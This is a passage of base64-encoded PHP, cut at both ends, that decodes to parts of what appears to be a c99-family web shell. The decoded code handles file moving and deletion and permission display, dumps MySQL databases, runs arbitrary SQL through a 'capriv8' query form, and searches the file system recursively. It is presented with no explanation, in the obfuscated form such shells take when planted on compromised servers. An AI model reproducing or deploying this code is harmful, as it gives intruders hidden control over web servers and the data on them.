BzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOwogICAgICAkdCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdCk7CiAgICAgIGlmIChpc19kaXIoJGQpKSB7CiAgICAgICAgaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQogICAgICAgIGlmIChzdWJzdHIoJHQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30KICAgICAgICByZXR1cm4gZnNfbW92ZV9kaXIoJGQsJHQpOwogICAgICB9CiAgICAgIGVsc2VpZiAoaXNfZmlsZSgkZCkpIHsKICAgICAgICBpZihjb3B5KCRkLCR0KSkge3JldHVybiB1bmxpbmsoJGQpO30KICAgICAgICBlbHNlIHt1bmxpbmsoJHQpOyByZXR1cm4gRkFMU0U7fQogICAgICB9CiAgICAgIGVsc2Uge3JldHVybiBGQUxTRTt9CiAgICB9CiAgfQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19ybWRpciIpKSB7CiAgICBmdW5jdGlvbiBmc19ybWRpcigkZCkgewogICAgICAkaCA9IG9wZW5kaXIoJGQpOwogICAgICB3aGlsZSAoKCRvID0gcmVhZGRpcigkaCkpICE9PSBGQUxTRSkgewogICAgICAgIGlmICgoJG8gIT0gIi4iKSBhbmQgKCRvICE9ICIuLiIpKSB7CiAgICAgICAgICBpZiAoIWlzX2RpcigkZC4kbykpIHt1bmxpbmsoJGQuJG8pO30KICAgICAgICAgIGVsc2Uge2ZzX3JtZGlyKCRkLiRvLkRJUkVDVE9SWV9TRVBBUkFUT1IpOyBybWRpcigkZC4kbyk7fQogICAgICAgIH0KICAgICAgfQogICAgICBjbG9zZWRpcigkaCk7CiAgICAgIHJtZGlyKCRkKTsKICAgICAgcmV0dXJuICFpc19kaXIoJGQpOwogICAgfQogIH0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfcm1vYmoiKSkgewogICAgZnVuY3Rpb24gZnNfcm1vYmooJG8pIHsKICAgICAgJG8gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJG8pOwogICAgICBpZiAoaXNfZGlyKCRvKSkgewogICAgICAgIGlmIChzdWJzdHIoJG8sLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskbyAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30KICAgICAgICByZXR1cm4gZnNfcm1kaXIoJG8pOwogICAgICB9CiAgICAgIGVsc2VpZiAoaXNfZmlsZSgkbykpIHtyZXR1cm4gdW5saW5rKCRvKTt9CiAgICAgIGVsc2Uge3JldHVybiBGQUxTRTt9CiAgICB9CiAgfQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJ0YWJzb3J0IikpIHsKICAgIGZ1bmN0aW9uIHRhYnNvcnQoJGEsJGIpIHtnbG9iYWwgJHY7IHJldHVybiBzdHJuYXRjbXAoJGFbJHZdLCAkYlskdl0pO30KICB9CiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInZpZXdfcGVybXMiKSkgewogICAgZnVuY3Rpb24gdmlld19wZXJtcygkbW9kZSkgewogICAgICBpZiAoKCRtb2RlICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7JHR5cGUgPSAicyI7fQogICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkgeyR0eXBlID0gImQiO30KICAgICAgZWxzZWlmICgoJG1vZGUgJiAweEEwMDApID09PSAweEEwMDApIHskdHlwZSA9ICJsIjt9CiAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PT0gMHg4MDAwKSB7JHR5cGUgPSAiLSI7fQogICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4NjAwMCkgPT09IDB4NjAwMCkgeyR0eXBlID0gImIiO30KICAgICAgZWxzZWlmICgoJG1vZGUgJiAweDIwMDApID09PSAweDIwMDApIHskdHlwZSA9ICJjIjt9CiAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHgxMDAwKSA9PT0gMHgxMDAwKSB7JHR5cGUgPSAicCI7fQogICAgICBlbHNlIHskdHlwZSA9ICI/Ijt9CiAgICAgICRvd25lclsicmVhZCJdID0gKCRtb2RlICYgMDA0MDApPyJyIjoiLSI7CiAgICAgICRvd25lclsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMjAwKT8idyI6Ii0iOwogICAgICAkb3duZXJbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMTAwKT8ieCI6Ii0iOwogICAgICAkZ3JvdXBbInJlYWQiXSA9ICgkbW9kZSAmIDAwMDQwKT8iciI6Ii0iOwogICAgICAkZ3JvdXBbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDAyMCk/InciOiItIjsKICAgICAgJGdyb3VwWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAwMDAxMCk/IngiOiItIjsKICAgICAgJHdvcmxkWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDAwNCk/InIiOiItIjsKICAgICAgJHdvcmxkWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAwMDIpPyAidyI6Ii0iOwogICAgICAkd29ybGRbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMDAxKT8ieCI6Ii0iOwogICAgICBpZiAoJG1vZGUgJiAweDgwMCkgeyRvd25lclsiZXhlY3V0ZSJdID0gKCRvd25lclsiZXhlY3V0ZSJdID09ICJ4Iik/InMiOiJTIjt9CiAgICAgIGlmICgkbW9kZSAmIDB4NDAwKSB7JGdyb3VwWyJleGVjdXRlIl0gPSAoJGdyb3VwWyJleGVjdXRlIl0gPT0gIngiKT8icyI6IlMiO30KICAgICAgaWYgKCRtb2RlICYgMHgyMDApIHskd29ybGRbImV4ZWN1dGUiXSA9ICgkd29ybGRbImV4ZWN1dGUiXSA9PSAieCIpPyJ0IjoiVCI7fQogICAgICByZXR1cm4gJHR5cGUuam9pbigiIiwkb3duZXIpLmpvaW4oIiIsJGdyb3VwKS5qb2luKCIiLCR3b3JsZCk7CiAgICB9CiAgfQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpIGFuZCAhaW5fYXJyYXkoInBvc2l4X2dldHB3dWlkIiwkZGlzYWJsZWZ1bmMpKSB7ZnVuY3Rpb24gcG9zaXhfZ2V0cHd1aWQoJHVpZCkge3JldHVybiBGQUxTRTt9fQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRncmdpZCIpIGFuZCAhaW5fYXJyYXkoInBvc2l4X2dldGdyZ2lkIiwkZGlzYWJsZWZ1bmMpKSB7ZnVuY3Rpb24gcG9zaXhfZ2V0Z3JnaWQoJGdpZCkge3JldHVybiBGQUxTRTt9fQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9raWxsIikgYW5kICFpbl9hcnJheSgicG9zaXhfa2lsbCIsJGRpc2FibGVmdW5jKSkge2Z1bmN0aW9uIHBvc2l4X2tpbGwoJGdpZCkge3JldHVybiBGQUxTRTt9fQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJwYXJzZV9wZXJtcyIpKSB7CiAgICBmdW5jdGlvbiBwYXJzZV9wZXJtcygkbW9kZSkgewogICAgICBpZiAoKCRtb2RlICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7JHQgPSAicyI7fQogICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkgeyR0ID0gImQiO30KICAgICAgZWxzZWlmICgoJG1vZGUgJiAweEEwMDApID09PSAweEEwMDApIHskdCA9ICJsIjt9CiAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PT0gMHg4MDAwKSB7JHQgPSAiLSI7fQogICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4NjAwMCkgPT09IDB4NjAwMCkgeyR0ID0gImIiO30KICAgICAgZWxzZWlmICgoJG1vZGUgJiAweDIwMDApID09PSAweDIwMDApIHskdCA9ICJjIjt9CiAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHgxMDAwKSA9PT0gMHgxMDAwKSB7JHQgPSAicCI7fQogICAgICBlbHNlIHskdCA9ICI/Ijt9CiAgICAgICRvWyJyIl0gPSAoJG1vZGUgJiAwMDQwMCkgPiAwOyAkb1sidyJdID0gKCRtb2RlICYgMDAyMDApID4gMDsgJG9bIngiXSA9ICgkbW9kZSAmIDAwMTAwKSA+IDA7CiAgICAgICRnWyJyIl0gPSAoJG1vZGUgJiAwMDA0MCkgPiAwOyAkZ1sidyJdID0gKCRtb2RlICYgMDAwMjApID4gMDsgJGdbIngiXSA9ICgkbW9kZSAmIDAwMDEwKSA+IDA7CiAgICAgICR3WyJyIl0gPSAoJG1vZGUgJiAwMDAwNCkgPiAwOyAkd1sidyJdID0gKCRtb2RlICYgMDAwMDIpID4gMDsgJHdbIngiXSA9ICgkbW9kZSAmIDAwMDAxKSA+IDA7CiAgICAgIHJldHVybiBhcnJheSgidCI9PiR0LCJvIj0+JG8sImciPT4kZywidyI9PiR3KTsKICAgIH0KICB9CiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInBhcnNlc29ydCIpKSB7CiAgICBmdW5jdGlvbiBwYXJzZXNvcnQoJHNvcnQpIHsKICAgICAgJG9uZSA9IGludHZhbCgkc29ydCk7CiAgICAgICRzZWNvbmQgPSBzdWJzdHIoJHNvcnQsLTEpOwogICAgICBpZiAoJHNlY29uZCAhPSAiZCIpIHskc2Vjb25kID0gImEiO30KICAgICAgcmV0dXJuIGFycmF5KCRvbmUsJHNlY29uZCk7CiAgICB9CiAgfQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJ2aWV3X3Blcm1zX2NvbG9yIikpIHsKICAgIGZ1bmN0aW9uIHZpZXdfcGVybXNfY29sb3IoJG8pIHsKICAgICAgaWYgKCFpc19yZWFkYWJsZSgkbykpIHtyZXR1cm4gIjxmb250IGNvbG9yPXJlZD4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRvKSkuIjwvZm9udD4iO30KICAgICAgZWxzZWlmICghaXNfd3JpdGFibGUoJG8pKSB7cmV0dXJuICI8Zm9udCBjb2xvcj13aGl0ZT4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRvKSkuIjwvZm9udD4iO30KICAgICAgZWxzZSB7cmV0dXJuICI8Zm9udCBjb2xvcj1ncmVlbj4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRvKSkuIjwvZm9udD4iO30KICAgIH0KICB9CiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2R1bXAiKSkgewogICAgZnVuY3Rpb24gbXlzcWxfZHVtcCgkc2V0KSB7CiAgICAgIGdsb2JhbCAkc2hfdmVyOwogICAgICAkc29jayA9ICRzZXRbInNvY2siXTsKICAgICAgJGRiID0gJHNldFsiZGIiXTsKICAgICAgJHByaW50ID0gJHNldFsicHJpbnQiXTsKICAgICAgJG5sMmJyID0gJHNldFsibmwyYnIiXTsKICAgICAgJGZpbGUgPSAkc2V0WyJmaWxlIl07CiAgICAgICRhZGRfZHJvcCA9ICRzZXRbImFkZF9kcm9wIl07CiAgICAgICR0YWJzID0gJHNldFsidGFicyJdOwogICAgICAkb25seXRhYnMgPSAkc2V0WyJvbmx5dGFicyJdOwogICAgICAkcmV0ID0gYXJyYXkoKTsKICAgICAgJHJldFsiZXJyIl0gPSBhcnJheSgpOwogICAgICBpZiAoIWlzX3Jlc291cmNlKCRzb2NrKSkge2VjaG8oIkVycm9yOiBcJHNvY2sgaXMgbm90IHZhbGlkIHJlc291cmNlLiIpO30KICAgICAgaWYgKGVtcHR5KCRkYikpIHskZGIgPSAiZGIiO30KICAgICAgaWYgKGVtcHR5KCRwcmludCkpIHskcHJpbnQgPSAwO30KICAgICAgaWYgKGVtcHR5KCRubDJicikpIHskbmwyYnIgPSAwO30KICAgICAgaWYgKGVtcHR5KCRhZGRfZHJvcCkpIHskYWRkX2Ryb3AgPSBUUlVFO30KICAgICAgaWYgKGVtcHR5KCRmaWxlKSkgewogICAgICAgICRmaWxlID0gJHRtcGRpci4iZHVtcF8iLmdldGVudigiU0VSVkVSX05BTUUiKS4iXyIuJGRiLiJfIi5kYXRlKCJkLW0tWS1ILWktcyIpLiIuc3FsIjsKICAgICAgfQogICAgICBpZiAoIWlzX2FycmF5KCR0YWJzKSkgeyR0YWJzID0gYXJyYXkoKTt9CiAgICAgIGlmIChlbXB0eSgkYWRkX2Ryb3ApKSB7JGFkZF9kcm9wID0gVFJVRTt9CiAgICAgIGlmIChzaXplb2YoJHRhYnMpID09IDApIHsKICAgICAgICAkcmVzID0gbXlzcWxfcXVlcnkoIlNIT1cgVEFCTEVTIEZST00gIi4kZGIsICRzb2NrKTsKICAgICAgICBpZiAobXlzcWxfbnVtX3Jvd3MoJHJlcykgPiAwKSB7d2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlcykpIHskdGFic1tdID0gJHJvd1swXTt9fQogICAgICB9CiAgICAgICRvdXQgPSAiCiAgICAgICMgRHVtcGVkIGJ5ICIuJHNoX25hbWUuIgogICAgICAjCiAgICAgICMgSG9zdCBzZXR0aW5nczoKICAgICAgIyBNeVNRTCB2ZXJzaW9uOiAoIi5teXNxbF9nZXRfc2VydmVyX2luZm8oKS4iKSBydW5uaW5nIG9uICIuZ2V0ZW52KCJTRVJWRVJfQUREUiIpLiIgKCIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiIpIi4iCiAgICAgICMgRGF0ZTogIi5kYXRlKCJkLm0uWSBIOmk6cyIpLiIKICAgICAgIyBEQjogXCIiLiRkYi4iXCIKICAgICAgIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSI7CiAgICAgICRjID0gY291bnQoJG9ubHl0YWJzKTsKICAgICAgZm9yZWFjaCgkdGFicyBhcyAkdGFiKSB7CiAgICAgICAgaWYgKChpbl9hcnJheSgkdGFiLCRvbmx5dGFicykpIG9yICghJGMpKSB7CiAgICAgICAgICBpZiAoJGFkZF9kcm9wKSB7JG91dCAuPSAiRFJPUCBUQUJMRSBJRiBFWElTVFMgYCIuJHRhYi4iYDtcbiI7fQogICAgICAgICAgJHJlcyA9IG15c3FsX3F1ZXJ5KCJTSE9XIENSRUFURSBUQUJMRSBgIi4kdGFiLiJgIiwgJHNvY2spOwogICAgICAgICAgaWYgKCEkcmVzKSB7JHJldFsiZXJyIl1bXSA9IG15c3FsX3NtYXJ0ZXJyb3IoKTt9CiAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgJHJvdyA9IG15c3FsX2ZldGNoX3JvdygkcmVzKTsKICAgICAgICAgICAgJG91dCAuPSAkcm93WyIxIl0uIjtcblxuIjsKICAgICAgICAgICAgJHJlcyA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIGAkdGFiYCIsICRzb2NrKTsKICAgICAgICAgICAgaWYgKG15c3FsX251bV9yb3dzKCRyZXMpID4gMCkgewogICAgICAgICAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHJlcykpIHsKICAgICAgICAgICAgICAgICRrZXlzID0gaW1wbG9kZSgiYCwgYCIsIGFycmF5X2tleXMoJHJvdykpOwogICAgICAgICAgICAgICAgJHZhbHVlcyA9IGFycmF5X3ZhbHVlcygkcm93KTsKICAgICAgICAgICAgICAgIGZvcmVhY2goJHZhbHVlcyBhcyAkaz0+JHYpIHskdmFsdWVzWyRrXSA9IGFkZHNsYXNoZXMoJHYpO30KICAgICAgICAgICAgICAgICR2YWx1ZXMgPSBpbXBsb2RlKCInLCAnIiwgJHZhbHVlcyk7CiAgICAgICAgICAgICAgICAkc3FsID0gIklOU0VSVCBJTlRPIGAkdGFiYChgIi4ka2V5cy4iYCkgVkFMVUVTICgnIi4kdmFsdWVzLiInKTtcbiI7CiAgICAgICAgICAgICAgICAkb3V0IC49ICRzcWw7CiAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICB9CiAgICAgICAgfQogICAgICB9CiAgICAgICRvdXQgLj0gIiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cblxuIjsKICAgICAgaWYgKCRmaWxlKSB7CiAgICAgICAgJGZwID0gZm9wZW4oJGZpbGUsICJ3Iik7CiAgICAgICAgaWYgKCEkZnApIHskcmV0WyJlcnIiXVtdID0gMjt9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICBmd3JpdGUgKCRmcCwgJG91dCk7CiAgICAgICAgICBmY2xvc2UgKCRmcCk7CiAgICAgICAgfQogICAgICB9CiAgICAgIGlmICgkcHJpbnQpIHtpZiAoJG5sMmJyKSB7ZWNobyBubDJicigkb3V0KTt9IGVsc2Uge2VjaG8gJG91dDt9fQogICAgICByZXR1cm4gJG91dDsKICAgIH0KICB9CiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2J1aWxkd2hlcmUiKSkgewogICAgZnVuY3Rpb24gbXlzcWxfYnVpbGR3aGVyZSgkYXJyYXksJHNlcD0iIGFuZCIsJGZ1bmN0cz1hcnJheSgpKSB7CiAgICAgIGlmICghaXNfYXJyYXkoJGFycmF5KSkgeyRhcnJheSA9IGFycmF5KCk7fQogICAgICAkcmVzdWx0ID0gIiI7CiAgICAgIGZvcmVhY2goJGFycmF5IGFzICRrPT4kdikgewogICAgICAgICR2YWx1ZSA9ICIiOwogICAgICAgIGlmICghZW1wdHkoJGZ1bmN0c1ska10pKSB7JHZhbHVlIC49ICRmdW5jdHNbJGtdLiIoIjt9CiAgICAgICAgJHZhbHVlIC49ICInIi5hZGRzbGFzaGVzKCR2KS4iJyI7CiAgICAgICAgaWYgKCFlbXB0eSgkZnVuY3RzWyRrXSkpIHskdmFsdWUgLj0gIikiO30KICAgICAgICAkcmVzdWx0IC49ICJgIi4kay4iYCA9ICIuJHZhbHVlLiRzZXA7CiAgICAgIH0KICAgICAgJHJlc3VsdCA9IHN1YnN0cigkcmVzdWx0LDAsc3RybGVuKCRyZXN1bHQpLXN0cmxlbigkc2VwKSk7CiAgICAgIHJldHVybiAkcmVzdWx0OwogICAgfQogIH0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfZmV0Y2hfYWxsIikpIHsKICAgIGZ1bmN0aW9uIG15c3FsX2ZldGNoX2FsbCgkcXVlcnksJHNvY2spIHsKICAgICAgaWYgKCRzb2NrKSB7JHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSwkc29jayk7fQogICAgICBlbHNlIHskcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTt9CiAgICAgICRhcnJheSA9IGFycmF5KCk7CiAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHskYXJyYXlbXSA9ICRyb3c7fQogICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsKICAgICAgcmV0dXJuICRhcnJheTsKICAgIH0KICB9CiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX3NtYXJ0ZXJyb3IiKSkgewogICAgZnVuY3Rpb24gbXlzcWxfc21hcnRlcnJvcigkdHlwZSwkc29jaykgewogICAgICBpZiAoJHNvY2spIHskZXJyb3IgPSBteXNxbF9lcnJvcigkc29jayk7fQogICAgICBlbHNlIHskZXJyb3IgPSBteXNxbF9lcnJvcigpO30KICAgICAgJGVycm9yID0gaHRtbHNwZWNpYWxjaGFycygkZXJyb3IpOwogICAgICByZXR1cm4gJGVycm9yOwogICAgfQogIH0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfcXVlcnlfZm9ybSIpKSB7CiAgICBmdW5jdGlvbiBteXNxbF9xdWVyeV9mb3JtKCkgewogICAgICBnbG9iYWwgJHN1Ym1pdCwkc3FsX3gsJHNxbF9xdWVyeSwkc3FsX3F1ZXJ5X3Jlc3VsdCwkc3FsX2NvbmZpcm0sJHNxbF9xdWVyeV9lcnJvciwkdGJsX3N0cnVjdDsKICAgICAgaWYgKCgkc3VibWl0KSBhbmQgKCEkc3FsX3F1ZXJ5X3Jlc3VsdCkgYW5kICgkc3FsX2NvbmZpcm0pKSB7aWYgKCEkc3FsX3F1ZXJ5X2Vycm9yKSB7JHNxbF9xdWVyeV9lcnJvciA9ICJRdWVyeSB3YXMgZW1wdHkiO30gZWNobyAiPGI+RXJyb3I6PC9iPiA8YnI+Ii4kc3FsX3F1ZXJ5X2Vycm9yLiI8YnI+Ijt9CiAgICAgIGlmICgkc3FsX3F1ZXJ5X3Jlc3VsdCBvciAoISRzcWxfY29uZmlybSkpIHskc3FsX3ggPSAkc3FsX2dvdG87fQogICAgICBpZiAoKCEkc3VibWl0KSBvciAoJHNxbF94KSkgewogICAgICAgIGVjaG8gIjx0YWJsZSBib3JkZXI9MD48dHI+PHRkPjxmb3JtIG5hbWU9XCJjYXByaXY4X3NxbHF1ZXJ5XCIgbWV0aG9kPVBPU1Q+PGI+IjsgaWYgKCgkc3FsX3F1ZXJ5KSBhbmQgKCEkc3VibWl0KSkge2VjaG8gIkRvIHlvdSByZWFsbHkgd2FudCB0byI7fSBlbHNlIHtlY2hvICJTUUwtUXVlcnkiO30gZWNobyAiOjwvYj48YnI+PGJyPjx0ZXh0YXJlYSBuYW1lPXNxbF9xdWVyeSBjb2xzPTEwMCByb3dzPTEwPiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5KS4iPC90ZXh0YXJlYT48YnI+PGJyPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXggdmFsdWU9c3FsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXNxbF94IHZhbHVlPXF1ZXJ5PjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXNxbF90YmwgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zdWJtaXQgdmFsdWU9XCIxXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJzcWxfZ290b1wiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZ290bykuIlwiPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXNxbF9jb25maXJtIHZhbHVlPVwiWWVzXCI+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIk5vXCI+PC9mb3JtPjwvdGQ+IjsKICAgICAgICBpZiAoJHRibF9zdHJ1Y3QpIHsKICAgICAgICAgIGVjaG8gIjx0ZCB2YWxpZ249XCJ0b3BcIj48Yj5GaWVsZHM6PC9iPjxicj4iOwogICAgICAgICAgZm9yZWFjaCAoJHRibF9zdHJ1Y3QgYXMgJGZpZWxkKSB7JG5hbWUgPSAkZmllbGRbIkZpZWxkIl07IGVjaG8gIisgPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQuY2Fwcml2OF9zcWxxdWVyeS5zcWxfcXVlcnkudmFsdWUrPSdgIi4kbmFtZS4iYCc7XCI+PGI+Ii4kbmFtZS4iPC9iPjwvYT48YnI+Ijt9CiAgICAgICAgICBlY2hvICI8L3RkPjwvdHI+PC90YWJsZT4iOwogICAgICAgIH0KICAgICAgfQogICAgICBpZiAoJHNxbF9xdWVyeV9yZXN1bHQgb3IgKCEkc3FsX2NvbmZpcm0pKSB7JHNxbF9xdWVyeSA9ICRzcWxfbGFzdF9xdWVyeTt9CiAgICB9CiAgfQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9jcmVhdGVfZGIiKSkgewogICAgZnVuY3Rpb24gbXlzcWxfY3JlYXRlX2RiKCRkYiwkc29jaz0iIikgewogICAgICAkc3FsID0gIkNSRUFURSBEQVRBQkFTRSBgIi5hZGRzbGFzaGVzKCRkYikuImA7IjsKICAgICAgaWYgKCRzb2NrKSB7cmV0dXJuIG15c3FsX3F1ZXJ5KCRzcWwsJHNvY2spO30KICAgICAgZWxzZSB7cmV0dXJuIG15c3FsX3F1ZXJ5KCRzcWwpO30KICAgIH0KICB9CiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX3F1ZXJ5X3BhcnNlIikpIHsKICAgIGZ1bmN0aW9uIG15c3FsX3F1ZXJ5X3BhcnNlKCRxdWVyeSkgewogICAgICAkcXVlcnkgPSB0cmltKCRxdWVyeSk7CiAgICAgICRhcnIgPSBleHBsb2RlICgiICIsJHF1ZXJ5KTsKICAgICAgJHR5cGVzID0gYXJyYXkoCiAgICAgICAgIlNFTEVDVCI9PmFycmF5KDMsMSksCiAgICAgICAgIlNIT1ciPT5hcnJheSgyLDEpLAogICAgICAgICJERUxFVEUiPT5hcnJheSgxKSwKICAgICAgICAiRFJPUCI9PmFycmF5KDEpCiAgICAgICk7CiAgICAgICRyZXN1bHQgPSBhcnJheSgpOwogICAgICAkb3AgPSBzdHJ0b3VwcGVyKCRhcnJbMF0pOwogICAgICBpZiAoaXNfYXJyYXkoJHR5cGVzWyRvcF0pKSB7CiAgICAgICAgJHJlc3VsdFsicHJvcGVydGlvbnMiXSA9ICR0eXBlc1skb3BdOwogICAgICAgICRyZXN1bHRbInF1ZXJ5Il0gID0gJHF1ZXJ5OwogICAgICAgIGlmICgkdHlwZXNbJG9wXSA9PSAyKSB7CiAgICAgICAgICBmb3JlYWNoKCRhcnIgYXMgJGs9PiR2KSB7CiAgICAgICAgICAgIGlmIChzdHJ0b3VwcGVyKCR2KSA9PSAiTElNSVQiKSB7CiAgICAgICAgICAgICAgJHJlc3VsdFsibGltaXQiXSA9ICRhcnJbJGsrMV07CiAgICAgICAgICAgICAgJHJlc3VsdFsibGltaXQiXSA9IGV4cGxvZGUoIiwiLCRyZXN1bHRbImxpbWl0Il0pOwogICAgICAgICAgICAgIGlmIChjb3VudCgkcmVzdWx0WyJsaW1pdCJdKSA9PSAxKSB7JHJlc3VsdFsibGltaXQiXSA9IGFycmF5KDAsJHJlc3VsdFsibGltaXQiXVswXSk7fQogICAgICAgICAgICAgIHVuc2V0KCRhcnJbJGtdLCRhcnJbJGsrMV0pOwogICAgICAgICAgICB9CiAgICAgICAgICB9CiAgICAgICAgfQogICAgICB9CiAgICAgIGVsc2Uge3JldHVybiBGQUxTRTt9CiAgICB9CiAgfQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJjYWZzZWFyY2giKSkgewogICAgZnVuY3Rpb24gY2Fmc2VhcmNoKCRkKSB7CiAgICAgIGdsb2JhbCAkZm91bmQ7CiAgICAgIGdsb2JhbCAkZm91bmRfZDsKICAgICAgZ2xvYmFsICRmb3VuZF9mOwogICAgICBnbG9iYWwgJHNlYXJjaF9pX2Y7CiAgICAgIGdsb2JhbCAkc2VhcmNoX2lfZDsKICAgICAgZ2xvYmFsICRhOwogICAgICBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9CiAgICAgICRoID0gb3BlbmRpcigkZCk7CiAgICAgIHdoaWxlICgoJGYgPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKSB7CiAgICAgICAgaWYoJGYgIT0gIi4iICYmICRmICE9ICIuLiIpIHsKICAgICAgICAgICRib29sID0gKGVtcHR5KCRhWyJuYW1lX3JlZ2V4cCJdKSBhbmQgc3RycG9zKCRmLCRhWyJuYW1lIl0pICE9PSBGQUxTRSkgfHwgKCRhWyJuYW1lX3JlZ2V4cCJdIGFuZCBlcmVnKCRhWyJuYW1lIl0sJGYpKTsKICAgICAgICAgIGlmIChpc19kaXIoJGQuJGYpKSB7CiAgICAgICAgICAgICRzZWFyY2hfaV9kKys7CiAgICAgICAgICAgIGlmIChlbXB0eSgkYVsidGV4dCJdKSBhbmQgJGJvb2wpIHskZm91bmRbXSA9ICRkLiRmOyAkZm91bmRfZCsrO30KICAgICAgICAgICAgaWYgKCFpc19saW5rKCRkLiRmKSkge2NhZnNlYXJjaCgkZC4kZik7fQogICAgICAgICAgfQogICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICRzZWFyY2hfaV9mKys7CiAgICAgICAgICAgIGlmICgkYm9vbCkgewogICAgICAgICAgICAgIGlmICghZW1wdHkoJGFbInRleHQiXSkpIHsKICAgICAgICAgICAgICAgICRyID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKTsKICAgICAgICAgICAgICAgIGlmICgkYVsidGV4dF93d28iXSkgeyRhWyJ0ZXh0Il0gPSAiICIudHJpbSgkYVsidGV4dCJdKS4iICI7fQogICAgICAgICAgICAgICAgaWYgKCEkYVsidGV4dF9jcyJdKSB7JGFbInRleHQiXSA9IHN0cnRvbG93ZXIoJGFbInRleHQiXSk7ICRyID0gc3RydG9sb3dlcigkcik7fQogICAgICAgICAgICAgICAgaWYgKCRhWyJ0ZXh0X3JlZ2V4cCJdKSB7JGJvb2wgPSBlcmVnKCRhWyJ0ZXh0Il0sJHIpO30KICAgICAgICAgICAgICAgIGVsc2UgeyRib29sID0gc3RycG9zKCIgIi4kciwkYVsidGV4dCJdLDE